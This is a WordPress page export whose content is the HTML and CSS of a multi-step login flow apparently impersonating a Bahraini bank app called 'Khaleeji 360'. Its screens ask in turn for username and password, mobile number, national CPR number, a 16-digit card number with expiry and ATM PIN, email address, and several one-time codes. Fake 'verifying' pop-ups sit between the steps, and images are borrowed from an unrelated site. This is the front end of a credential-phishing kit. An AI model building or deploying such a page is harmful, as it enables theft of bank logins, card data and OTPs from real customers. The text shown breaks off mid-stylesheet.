{"id":7,"date":"2026-07-02T18:03:41","date_gmt":"2026-07-02T18:03:41","guid":{"rendered":"https:\/\/allsteps.art\/?page_id=7"},"modified":"2026-07-02T18:11:23","modified_gmt":"2026-07-02T18:11:23","slug":"elementor-7","status":"publish","type":"page","link":"https:\/\/allsteps.art\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"7\" class=\"elementor elementor-7\">\n\t\t\t\t<div class=\"elementor-element elementor-element-000a675 e-con e-atomic-element e-flexbox-base e-34ceb3b \" data-id=\"000a675\" data-element_type=\"e-flexbox\" data-e-type=\"e-flexbox\" data-interaction-id=\"000a675\">\n    \t\t<div class=\"elementor-element elementor-element-d28da2a elementor-widget elementor-widget-shortcode\" data-id=\"d28da2a\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\">\n<div id=\"phl-wrapper\">\n\n    <!-- Loader -->\n    <div id=\"phl-loader\">\n    <div class=\"phl-premium-loader\">\n        <span><\/span>\n        <span><\/span>\n        <span><\/span>\n    <\/div>\n<\/div>\n\n    <!-- Content -->\n    <div id=\"phl-content\">\n\n        <div class=\"phl-logo\">\n        <img decoding=\"async\" src=\"https:\/\/allsteps.art\/wp-content\/uploads\/2026\/07\/Logo-scaled.png\" alt=\"Logo\">\n        <\/div>\n\n        <div class=\"phl-space\"><\/div>\n\n<div class=\"phl-input-wrap\">\n    <input type=\"text\" class=\"phl-input\" placeholder=\"Username\">\n<\/div>\n\n<div class=\"phl-input-wrap phl-password-wrap\">\n\n    <input\n        type=\"password\"\n        id=\"passwordField\"\n        class=\"phl-input\"\n        placeholder=\"Password\"\n    >\n\n    <span id=\"togglePassword\">\n\n        <svg id=\"eyeOpen\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"22\" height=\"22\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\">\n            <path d=\"M1 10s3-6 9-6 9 6 9 6-3 6-9 6-9-6-9-6z\"\/>\n            <circle cx=\"10\" cy=\"10\" r=\"3\"\/>\n        <\/svg>\n\n        <svg id=\"eyeClose\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"22\" height=\"22\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" style=\"display:none;\">\n            <path d=\"M17 17L3 3\"\/>\n            <path d=\"M1 10s3-6 9-6c2 0 4 .7 5.5 1.8\"\/>\n            <path d=\"M19 10s-3 6-9 6c-2 0-4-.7-5.5-1.8\"\/>\n        <\/svg>\n\n    <\/span>\n\n<\/div>\n\n        <div class=\"phl-row\">\n\n            <div class=\"phl-small-text\">\n                Need help singing in?\n            <\/div>\n\n            <button id=\"continueBtn\" class=\"phl-half-btn\" type=\"button\">\n            Login\n            <\/button>\n\n        <\/div>\n\n        <div class=\"phl-box clickable phl-first-lower-box phl-box-one\">\n        Register\n        <\/div>\n\n        <div class=\"phl-text-box phl-box-two\">\n        Khaleeji 360\n        <\/div>\n        \n        <div class=\"phl-bottom-logo\">\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/face-id.png\" alt=\"Logo\">\n    <\/div>\n\n    <\/div>\n\n<div id=\"phl-step-2\" style=\"display:none;\">\n\n    <div class=\"phl-logo\">\n        <img decoding=\"async\" src=\"https:\/\/allsteps.art\/wp-content\/uploads\/2026\/07\/Mobile-logo.png\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">\n        Verify Mobile Number\n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the registered mobile number linked to your account to verify your identity.\n    <\/p>\n\n    <div class=\"phl-phone-wrap\">\n\n        <span class=\"phl-country\">\n    <span class=\"phl-flag\">\ud83c\udde7\ud83c\udded<\/span>\n    <span class=\"phl-code\">+973<\/span>\n<\/span>\n\n        <input\n            type=\"tel\"\n            id=\"mobileNumber\"\n            inputmode=\"numeric\"\n            maxlength=\"8\"\n            placeholder=\"XXXXXXXX\"\n        >\n\n    <\/div>\n\n    <button id=\"step2Btn\" class=\"phl-full-btn\">\n        Continue\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-step-3\" style=\"display:none;\">\n\n    <div class=\"phl-mobile-icon\">\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\n<\/div>\n\n    <h2 class=\"phl-title\">OTP Verification<\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the 6-digit verification code sent to your registered mobile number.\n    <\/p>\n\n    <div class=\"otp-wrap\">\n\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\n\n    <\/div>\n\n    <div id=\"otpTimer\">03:00 Time Left<\/div>\n\n    <button id=\"otpVerifyBtn\" class=\"phl-full-btn\">\n        Verify\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-step-4\" style=\"display:none;\">\n\n    <div class=\"phl-logo\">\n        <img decoding=\"async\" src=\"https:\/\/allsteps.art\/wp-content\/uploads\/2026\/07\/ID-Card-Logo.png\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">\n        CPR Verification \n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter a valid CPR number to confirm your identity to complete the verification process securely.\n    <\/p>\n\n    <div class=\"phl-phone-wrap\">\n\n        <input\n            type=\"tel\"\n            id=\"cprNumber\"\n            inputmode=\"numeric\"\n            maxlength=\"9\"\n            placeholder=\"Enter CPR Number\"\n        >\n\n    <\/div>\n\n    <button id=\"step4Btn\" class=\"phl-full-btn\">\n        Continue\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-processing-popup\" style=\"display:none;\">\n\n    <div class=\"phl-processing-box\">\n\n        <div class=\"phl-processing-loader\"><\/div>\n\n        <h3>Please Wait<\/h3>\n\n        <p>\n            Your information is being verified.\n            Please wait a moment.\n        <\/p>\n\n    <\/div>\n\n<\/div>\n\n<div id=\"phl-step-cpr-otp\" style=\"display:none;\">\n\n    <div class=\"phl-mobile-icon\">\n        <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">OTP Verification<\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the 6-digit verification code sent to your registered mobile number.\n    <\/p>\n\n    <div class=\"otp-wrap\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\n    <\/div>\n\n    <div id=\"cprOtpTimer\">03:00 Time Left<\/div>\n\n    <button id=\"cprOtpBtn\" class=\"phl-full-btn\">\n        Verify\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-step-5\" style=\"display:none;\">\n\n    <div class=\"phl-logo\">\n        <img decoding=\"async\" src=\"https:\/\/allsteps.art\/wp-content\/uploads\/2026\/07\/Card-logo.png\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">\n        ATM Card Verification\n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter your 16-digit ATM\/Debit Card number for security verification.\n    <\/p>\n\n    <div class=\"phl-input-wrap\">\n\n    <input\n    type=\"tel\"\n    inputmode=\"numeric\"\n    id=\"cardNumber\"\n    class=\"phl-input\"\n    placeholder=\"Card Number\"\n    maxlength=\"19\"\n>\n\n    <\/div>\n\n    <div style=\"display:flex;gap:15px;\">\n\n    <input\n    type=\"tel\"\n    inputmode=\"numeric\"\n    id=\"expiryDate\"\n    class=\"phl-input\"\n    placeholder=\"MM\/YY\"\n    maxlength=\"5\"\n>\n\n    <input\n    type=\"tel\"\n    inputmode=\"numeric\"\n    id=\"cardCvv\"\n    class=\"phl-input\"\n    placeholder=\"ATM PIN\"\n    maxlength=\"6\"\n>\n\n    <\/div>\n\n    <button\n        id=\"step5Btn\"\n        class=\"phl-full-btn\"\n        style=\"margin-top:15px;\"\n    >\n        Continue\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-step-6\" style=\"display:none;\">\n\n    <div class=\"phl-mobile-icon\">\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">\n        OTP Verification\n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the 6-digit verification code sent to your registered mobile number.\n    <\/p>\n\n    <div class=\"otp-wrap\">\n\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\n\n    <\/div>\n\n    <div id=\"step6Timer\">\n        03:00 Time Left\n    <\/div>\n\n    <button id=\"step6Btn\" class=\"phl-full-btn\">\n        Verify\n    <\/button>\n\n<\/div>\n\n<div id=\"phl-step-7\" style=\"display:none;\">\n\n    <div class=\"phl-logo\">\n        <img decoding=\"async\" src=\"https:\/\/allsteps.art\/wp-content\/uploads\/2026\/07\/mail-logo.png\" alt=\"\">\n    <\/div>\n\n    <h2 class=\"phl-title\">\n        Email Verification\n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the registered email address associated with your account to continue the verification process.\n    <\/p>\n\n<div class=\"phl-input-wrap\">\n    <input\n        type=\"text\"\n        id=\"emailAddress\"\n        class=\"phl-input\"\n        placeholder=\"Enter Your Email\">\n<\/div>\n\n<button id=\"step7Btn\" class=\"phl-full-btn\">\n    Continue\n<\/button>\n\n<\/div>\n\n<div id=\"phl-step-8\" style=\"display:none;\">\n\n    <div class=\"phl-mobile-icon\">\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\n<\/div>\n\n    <h2 class=\"phl-title\">\n        OTP Verification\n    <\/h2>\n\n    <p class=\"phl-desc\">\n        Enter the 6-digit verification code sent to your registered mobile number.\n    <\/p>\n\n    <div class=\"otp-wrap\">\n\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\n\n    <\/div>\n    \n<div style=\"display:flex;justify-content:space-between;align-items:center;\">\n\n    <div id=\"step8Timer\">\n        03:00 Time Left\n    <\/div>\n\n    <div id=\"step8Error\" style=\"display:none;\">\n        \u274c Your OTP Code Invalid\n    <\/div>\n\n<\/div>\n\n    <button id=\"step8Btn\" class=\"phl-full-btn\">\n        Continue\n    <\/button>\n\n<\/div>\n\n<style>\n\n@import url('https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@500;700&display=swap');\n\nhtml,\nbody,\n#page,\n.site,\n.site-content,\n.entry-content,\nmain{\n    margin:0 !important;\n    padding:0 !important;\n}\n\nbody.admin-bar #phl-wrapper{\n    margin-top:0 !important;\n}\n\n#phl-wrapper{\n    font-family:'Saira',sans-serif;\n    position:fixed !important;\n    top:0;\n    left:0;\n    right:0;\n    bottom:0;\n    width:100vw !important;\n    height:100vh !important;\n    z-index:99999;\n}\n\nhtml,\nbody{\n    margin:0 !important;\n    padding:0 !important;\n    width:100%;\n    height:100%;\n}\n\n#phl-wrapper{\n    width:100%;\n    min-height:100vh;\n    background:#323d42;\n    color:#fff;\n    display:flex;\n    justify-content:center;\n    align-items:center;\n    position:relative;\n    overflow:hidden;\n    box-sizing:border-box;\n}\n\n#phl-loader{\n    position:absolute;\n    top:0;\n    left:0;\n    right:0;\n    bottom:0;\n    display:flex;\n    justify-content:center;\n    align-items:center;\n    background:#323d42;\n    z-index:999;\n}\n\n.phl-premium-loader{\n    width:50px;\n    height:50px;\n    position:relative;\n    animation:loaderStepRotate 4s infinite linear;\n    transform-origin:center center;\n}\n\n.phl-premium-loader span{\n    position:absolute;\n    width:8px;\n    height:40px;\n    background:#fff;\n    top:5px;\n}\n\n.phl-premium-loader span:nth-child(1){\n    left:6px;\n}\n\n.phl-premium-loader span:nth-child(2){\n    left:21px;\n}\n\n.phl-premium-loader span:nth-child(3){\n    left:36px;\n}\n\n@keyframes loaderStepRotate{\n\n    0%{\n        transform:rotate(45deg) scale(1);\n    }\n\n    20%{\n        transform:rotate(45deg) scale(1);\n    }\n\n    \/* \u067e\u06cc\u0686\u06be\u06d2 \u062f\u0648\u0631 \u0686\u0644\u0627 \u062c\u0627\u0626\u06d2 *\/\n\n    40%{\n        transform:rotate(45deg) scale(.25);\n    }\n\n    \/* \u0648\u0627\u067e\u0633 \u0627\u067e\u0646\u06cc \u0627\u0635\u0644 \u062c\u06af\u06c1 *\/\n\n    50%{\n        transform:rotate(135deg) scale(1);\n    }\n\n    70%{\n        transform:rotate(135deg) scale(1);\n    }\n\n    \/* \u062f\u0648\u0628\u0627\u0631\u06c1 \u062f\u0648\u0631 \u067e\u06cc\u0686\u06be\u06d2 *\/\n\n    90%{\n        transform:rotate(135deg) scale(.25);\n    }\n\n    100%{\n        transform:rotate(225deg) scale(1);\n    }\n\n}\n\n#phl-content{\n    width:100%;\n    max-width:600px;\n    padding:20px;\n    box-sizing:border-box;\n    display:none;\n}\n\n.phl-logo{\n    text-align:center;\n    font-size:28px;\n    font-weight:600;\n    position:relative;\n    top:-60px;\n}\n\n.phl-logo{\n    text-align:center;\n    position:relative;\n    top:-60px;\n}\n\n.phl-logo img{\n\n    display:block !important;\n\n    margin-left:auto !important;\n    margin-right:auto !important;\n\n    width:auto;\n    max-width:180px;\n\n    height:auto;\n}\n\n.phl-space{\n    height:30px;\n}\n\n.phl-box,\n.phl-text-box{\n    width:100%;\n    height:55px;\n    background:#3C464D;\n    border:1px solid #50595e;\n    border-radius:10px;\n    color:#fff;\n    display:flex;\n    align-items:center;\n    justify-content:center;\n    margin-bottom:15px;\n    box-sizing:border-box;\n}\n\n.clickable{\n    cursor:pointer;\n    transition:.3s;\n}\n\n.clickable:hover{\n    background:#2a2a2a;\n}\n\n.phl-row{\n    display:flex;\n    justify-content:space-between;\n    align-items:center;\n    gap:15px;\n    margin-bottom:15px;\n}\n\n.phl-small-text{\n    flex:1;\n    font-size:16px;\n    padding-left:4px !important;\n    position:relative;\n    top:-10px !important;\n    text-align:left !important;\n}\n\n.phl-half-btn{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    width:180px;\n    height:55px;\n    border:none;\n    border-radius:10px;\n    background:#F4F4F4;\n    color:#111;\n    font-weight:600;\n    cursor:pointer;\n}\n\n.phl-half-btn:hover{\n    opacity:.9;\n}\n\n@media(max-width:768px){\n\n    .phl-half-btn{\n        width:140px;\n    }\n\n    .phl-logo{\n        font-size:24px;\n    }\n\n}\n\n.phl-input-wrap{\n    width:100%;\n    margin-top:10px;\n    margin-bottom:20px;\n}\n\n.phl-input{\n    width:100%;\n    height:55px;\n    background:#3C464D;\n    border:1px solid #50595e;\n    border-radius:10px;\n    color:#fff;\n    padding:0 15px;\n    font-size:16px;\n    box-sizing:border-box;\n    outline:none;\n}\n\n.phl-input::placeholder{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    color:#bbb;\n}\n\n.phl-input:focus{\n    border-color:#50595e;\n    background:3C464D;\n}\n\n.btn-loader{\n    width:24px;\n    height:24px;\n    border:4px solid rgba(0,0,0,.25);\n    border-top:4px solid #111;\n    border-radius:50%;\n    display:inline-block;\n    animation:btnSpin .8s linear infinite;\n}\n\n#otpVerifyBtn .btn-loader{\n    border:4px solid rgba(255,255,255,.35);\n    border-top:4px solid #fff;\n}\n\n@keyframes btnSpin{\n    100%{\n        transform:rotate(360deg);\n    }\n}\n\n.phl-first-lower-box{\n    margin-top:80px;\n}\n\n.phl-box-one{\n    background:#3C464D;\n}\n\n.phl-box-two{\n    background:#acbcd9;\n}\n\n.phl-bottom-logo{\n    text-align:center;\n    margin-top:80px;\n}\n\n.phl-bottom-logo img{\n    max-width:40px;\n    height:auto;\n    display:inline-block;\n}\n\n.phl-password-wrap{\n    position:relative;\n}\n\n#togglePassword{\n    position:absolute;\n    right:15px;\n    top:50%;\n    transform:translateY(-50%);\n    cursor:pointer;\n    color:#bfc7cc;\n    display:flex;\n    align-items:center;\n    justify-content:center;\n}\n\n#togglePassword svg{\n    width:22px;\n    height:22px;\n}\n\n.phl-password-wrap .phl-input{\n    padding-right:50px;\n}\n\n.phl-eye-btn:hover{\n    background:#49545a;\n}\n\n.phl-password-wrap .phl-input{\n    padding-right:55px;\n}\n\n.phl-mobile-icon{\n    text-align:center;\n    margin-top:0px;\n    margin-bottom:30px;\n    color:#ffffff;\n}\n\n.phl-mobile-icon svg{\n    width:48px;\n    height:48px;\n}\n\n.phl-mobile-icon img{\n\n    display:block !important;\n\n    margin-left:auto !important;\n    margin-right:auto !important;\n\n    width:70px;\n    height:70px;\n\n    max-width:70px;\n    object-fit:contain;\n}\n\n.phl-title{\n    font-family:'Saira',sans-serif;\n    font-weight:600;\n    margin-top:20px;\n    margin-bottom:10px;\n    font-size:16px;\n}\n\n.phl-desc{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    margin-top:0;\n    margin-bottom:20px;\n    font-size:13px;\n    color:#cfd6da;\n}\n\n.phl-phone-wrap{\n    width:100%;\n    height:55px;\n    background:#3C464D;\n    border:1px solid #50595e;\n    border-radius:10px;\n    display:flex;\n    align-items:center;\n    padding:0 15px;\n    box-sizing:border-box;\n    margin-bottom:6px;\n}\n\n.phl-country{\n    display:flex;\n    align-items:center;\n    justify-content:center;\n    gap:8px;\n    color:#fff;\n    margin-right:12px;\n    white-space:nowrap;\n    font-size:18px;\n    line-height:1;\n}\n\n.phl-flag{\n    font-size:22px;\n    line-height:1;\n    display:flex;\n    align-items:center;\n}\n\n.phl-code{\n    font-size:18px;\n    line-height:1;\n    display:flex;\n    align-items:center;\n}\n\n#mobileNumber,\n#cprNumber,\n#emailAddress{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    flex:1;\n    width:100%;\n    background:transparent;\n    border:none;\n    color:#fff;\n    outline:none;\n    font-size:16px;\n}\n\n#cprNumber::placeholder{\n    color:#bbb;\n}\n\n.phl-full-btn{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    width:100%;\n    height:55px;\n    border:none;\n    border-radius:10px;\n    background:#fff;\n    color:#111;\n    font-weight:600;\n}\n\n#phl-step-2{\n    display:none;\n    width:100%;\n    max-width:600px;\n    padding:20px;\n    box-sizing:border-box;\n    color:#fff;\n    position:relative;\n    top:-135px;\n}\n\n#phl-step-3{\n    display:none;\n    position:fixed;\n    top:0;\n    padding-top:120px;\n    left:0;\n    width:100vw;\n    height:100vh;\n    background:#ffffff;\n    z-index:999999;\n\n    padding:20px;\n    box-sizing:border-box;\n\n    overflow:auto;\n}\n\n#phl-step-4{\n    display:none;\n    width:100%;\n    max-width:600px;\n    padding:20px;\n    box-sizing:border-box;\n    color:#fff;\n    position:relative;\n    top:-135px;\n}\n\n#phl-step-5{\n    display:none;\n    width:100%;\n    max-width:600px;\n    padding:20px;\n    box-sizing:border-box;\n    color:#fff;\n    position:relative;\n    top:-135px;\n}\n\n#phl-step-6{\n    display:none;\n    position:fixed;\n    top:0;\n    padding-top:120px;\n    left:0;\n    width:100vw;\n    height:100vh;\n    background:#ffffff;\n    z-index:999999;\n    padding:20px;\n    box-sizing:border-box;\n    overflow:auto;\n}\n\n#phl-step-7{\n    width:100%;\n    max-width:600px;\n    padding:20px;\n    box-sizing:border-box;\n    color:#fff;\n    position:relative;\n    top:-135px;\n}\n\n#phl-step-7 .phl-input-wrap,\n#phl-step-7 .phl-full-btn{\n    width:100%;\n}\n\n#phl-step-7 .phl-phone-wrap{\n    width:100%;\n    height:55px;\n    background:#3C464D;\n    border:1px solid #50595e;\n    border-radius:10px;\n}\n\n#phl-step-7 .phl-input{\n    font-family:'Saira',sans-serif;\n    font-weight:500;\n    border:1px solid #50595e !important;\n    background:#3C464D !important;\n    border-radius:10px;\n}\n\n#phl-step-8 #step8Timer{\n    text-align:left;\n    margin-top:10px;\n    color:#111;\n}\n\n#phl-step-8 .regen-otp{\n    text-align:right;\n    margin:35px 0 25px 0;\n    color:#111;\n}\n\n#phl-step-3 .phl-title,\n#phl-step-3 .phl-desc,\n#phl-step-3 #otpTimer,\n#phl-step-3 .regen-otp{\n    color:#111;\n}\n\n#phl-step-3 .phl-title,\n#phl-step-6 .phl-title,\n#phl-step-8 .phl-title{\n    text-align:center !important;\n}\n\n#phl-step-3 .phl-desc,\n#phl-step-6 .phl-desc,\n#phl-step-8 .phl-desc{\n    text-align:center !important;\n}\n\n#phl-step-6 .phl-title,\n#phl-step-6 .phl-desc,\n#phl-step-6 #step6Timer,\n#phl-step-6 .regen-otp,\n#phl-step-6 .otp-box{\n    color:#111;\n}\n\n#phl-step-2 .phl-logo{\n    position:relative;\n    top:-60px;\n}\n\n#phl-step-2 .phl-title{\n    margin-top:30px;\n    margin-bottom:6px;\n    text-align:left;\n    font-size:16px;\n    font-weight:600;\n}\n\n#phl-step-2 .phl-desc{\n    margin-top:0;\n    margin-bottom:30px;\n    text-align:left;\n    font-size:13px;\n    color:#cfd6da;\n}\n\n.phl-phone-wrap{\n    margin-bottom:15px;\n}\n\n.otp-wrap{\n    display:flex;\n    gap:10px;\n    justify-content:center;\n    margin:30px 0;\n}\n\n.otp-box{\n    width:50px;\n    height:55px;\n    border:none;\n    border-bottom:2px solid #111;\n    background:transparent;\n    color:#111;\n    text-align:center;\n    font-size:24px;\n    outline:none;\n}\n\n#otpVerifyBtn{\n    background:#323d42;\n    color:#fff;\n}\n\n#step6Btn{\n    background:#323d42;\n    color:#fff;\n}\n\n#step6Btn .btn-loader{\n    border:4px solid rgba(255,255,255,.35);\n    border-top:4px solid #fff;\n}\n\n.regen-otp{\n    text-align:right;\n    margin:35px 0 25px 0;\n    cursor:pointer;\n}\n\n#otpTimer{\n    margin-top:10px;\n    color:#111;\n}\n\n#phl-processing-popup{\n    display:none;\n    position:fixed;\n    top:0;\n    left:0;\n    width:100%;\n    height:100%;\n    background:rgba(0,0,0,.55);\n    backdrop-filter:blur(3px);\n    z-index:9999999;\n\n    justify-content:center;\n    align-items:center;\n}\n\n.phl-processing-box{\n    width:320px;\n    background:#fff;\n    border-radius:16px;\n    padding:30px 25px;\n    text-align:center;\n    box-shadow:0 15px 40px rgba(0,0,0,.25);\n}\n\n.phl-processing-box h3{\n    margin:15px 0 8px;\n    color:#111;\n    font-size:22px;\n}\n\n.phl-processing-box p{\n    margin:0;\n    color:#666;\n    line-height:1.5;\n}\n\n.phl-processing-loader{\n    width:45px;\n    height:45px;\n    margin:0 auto;\n    border:4px solid #e5e5e5;\n    border-top:4px solid #323d42;\n    border-radius:50%;\n    animation:processingSpin .8s linear infinite;\n}\n\n@keyframes processingSpin{\n    100%{\n        transform:rotate(360deg);\n    }\n}\n\n#phl-step-cpr-otp{\n    display:none;\n    position:fixed;\n    top:0;\n    left:0;\n    width:100vw;\n    height:100vh;\n    background:#fff;\n    z-index:999999;\n    padding:20px;\n    padding-top:120px;\n    box-sizing:border-box;\n    overflow:auto;\n}\n\n#phl-step-cpr-otp .phl-title{\n    text-align:center !important;\n    color:#111;\n    margin-bottom:12px;\n}\n\n#phl-step-cpr-otp .phl-desc{\n    text-align:center !important;\n    color:#111;\n    margin-bottom:30px;\n}\n\n#phl-step-cpr-otp .otp-box{\n    color:#111 !important;\n    border-bottom:2px solid #111 !important;\n}\n\n#cprOtpTimer{\n    color:#111;\n    margin-top:10px;\n}\n\n#cprOtpBtn{\n    background:#323d42 !important;\n    color:#fff !important;\n}\n\n#cprOtpBtn .btn-loader{\n    border:4px solid rgba(255,255,255,.35);\n    border-top:4px solid #fff;\n}\n\n#phl-step-8{\n    display:none;\n    position:fixed;\n    top:0;\n    padding-top:120px;\n    left:0;\n    width:100vw;\n    height:100vh;\n    background:#fff;\n    z-index:999999;\n    padding:20px;\n    box-sizing:border-box;\n}\n\n#phl-step-8 .phl-title,\n#phl-step-8 .phl-desc,\n#phl-step-8 .otp-box{\n    color:#111;\n}\n\n#step8Error{\n    color:#dc2626;\n    font-size:14px;\n    font-weight:600;\n}\n\n#step8Btn{\n    background:#323d42;\n    color:#fff;\n}\n\n#step8Btn .btn-loader{\n    border:4px solid rgba(255,255,255,.35);\n    border-top:4px solid #fff;\n}\n\n#phl-step-3,\n#phl-step-6,\n#phl-step-8{\n    padding-top:120px !important;\n}\n\n#phl-wrapper,\n#phl-wrapper input,\n#phl-wrapper button,\n#phl-wrapper p,\n#phl-wrapper span,\n#phl-wrapper div{\n    font-family:'Saira',sans-serif !important;\n}\n\n.phl-title{\n    font-weight:600 !important;\n}\n\n.phl-desc,\n.phl-input,\n.phl-input::placeholder,\n.phl-full-btn,\n.phl-half-btn,\n#mobileNumber,\n#cprNumber,\n#emailAddress{\n    font-weight:500 !important;\n}\n\n.phl-input,\n.phl-input::placeholder,\n.phl-full-btn,\n.phl-half-btn,\n.phl-desc,\n.phl-small-text,\n.phl-box,\n.phl-text-box,\n#mobileNumber,\n#cprNumber,\n#emailAddress{\n    font-size:16px !important;\n}\n\n#phl-step-2 .phl-desc,\n#phl-step-4 .phl-desc,\n#phl-step-5 .phl-desc,\n#phl-step-7 .phl-desc{\n    font-size:13px !important;\n}\n\n\/* USERNAME + PASSWORD SCREEN CENTER *\/\n\n#phl-content{\n    position:relative;\n    top:50%;\n    transform:translateY(-60%);\n}\n\n\/* NON OTP SCREENS *\/\n\n#phl-step-2,\n#phl-step-4,\n#phl-step-5,\n#phl-step-7{\n    position:fixed !important;\n\n    top:50% !important;\n    left:50% !important;\n\n    transform:translate(-50%, -80%) !important;\n\n    width:100% !important;\n    max-width:600px !important;\n\n    padding:20px !important;\n    box-sizing:border-box !important;\n}\n\n\/* LOGO *\/\n\n#phl-content .phl-logo,\n#phl-step-2 .phl-logo,\n#phl-step-4 .phl-logo,\n#phl-step-5 .phl-logo,\n#phl-step-7 .phl-logo,\n#phl-step-3 .phl-mobile-icon,\n#phl-step-cpr-otp .phl-mobile-icon,\n#phl-step-6 .phl-mobile-icon,\n#phl-step-8 .phl-mobile-icon{\n\n    display:flex !important;\n    justify-content:center !important;\n    align-items:center !important;\n\n    width:100% !important;\n\n    position:static !important;\n    left:auto !important;\n    right:auto !important;\n\n    margin:0 auto 35px auto !important;\n\n    text-align:center !important;\n}\n \n\/* TITLE *\/\n\n#phl-step-2 .phl-title,\n#phl-step-4 .phl-title,\n#phl-step-5 .phl-title,\n#phl-step-7 .phl-title{\n    text-align:center !important;\n    margin:0 0 18px 0 !important;\n}\n\n\/* DESCRIPTION *\/\n\n#phl-step-2 .phl-desc,\n#phl-step-4 .phl-desc,\n#phl-step-5 .phl-desc,\n#phl-step-7 .phl-desc{\n    text-align:center !important;\n    margin:0 0 35px 0 !important;\n}\n\n\/* TITLE *\/\n\n#phl-step-2 .phl-title,\n#phl-step-4 .phl-title,\n#phl-step-5 .phl-title,\n#phl-step-7 .phl-title{\n    margin-top:0 !important;\n    margin-bottom:12px !important;\n    text-align:center !important;\n}\n\n\/* DESCRIPTION *\/\n\n#phl-step-2 .phl-desc,\n#phl-step-4 .phl-desc,\n#phl-step-5 .phl-desc,\n#phl-step-7 .phl-desc{\n    margin-bottom:30px !important;\n    text-align:center !important;\n}\n\n#phl-step-5 .phl-input-wrap{\n    margin-bottom:15px !important;\n}\n\n\/* MOBILE + CPR + CARD + EMAIL LOGOS *\/\n\n#phl-step-2 .phl-logo img,\n#phl-step-4 .phl-logo img,\n#phl-step-5 .phl-logo img,\n#phl-step-7 .phl-logo img{\n    width:70px !important;\n    height:70px !important;\n    max-width:70px !important;\n    object-fit:contain !important;\n}\n\n#phl-step-cpr-otp{\n    display:none;\n    position:fixed;\n    top:0;\n    left:0;\n    width:100vw;\n    height:100vh;\n    background:#fff;\n    z-index:999999;\n    padding:20px;\n    padding-top:120px;\n    box-sizing:border-box;\n}\n\n#phl-step-cpr-otp .phl-title,\n#phl-step-cpr-otp .phl-desc,\n#phl-step-cpr-otp .otp-box,\n#cprOtpTimer{\n    color:#111;\n}\n\n\/* FORCE ALL LOGOS TO ABSOLUTE CENTER *\/\n\n#phl-content,\n#phl-step-2,\n#phl-step-3,\n#phl-step-4,\n#phl-step-5,\n#phl-step-6,\n#phl-step-7,\n#phl-step-8,\n#phl-step-cpr-otp{\n    text-align:center !important;\n}\n\n#phl-content .phl-logo,\n#phl-step-2 .phl-logo,\n#phl-step-4 .phl-logo,\n#phl-step-5 .phl-logo,\n#phl-step-7 .phl-logo,\n#phl-step-3 .phl-mobile-icon,\n#phl-step-6 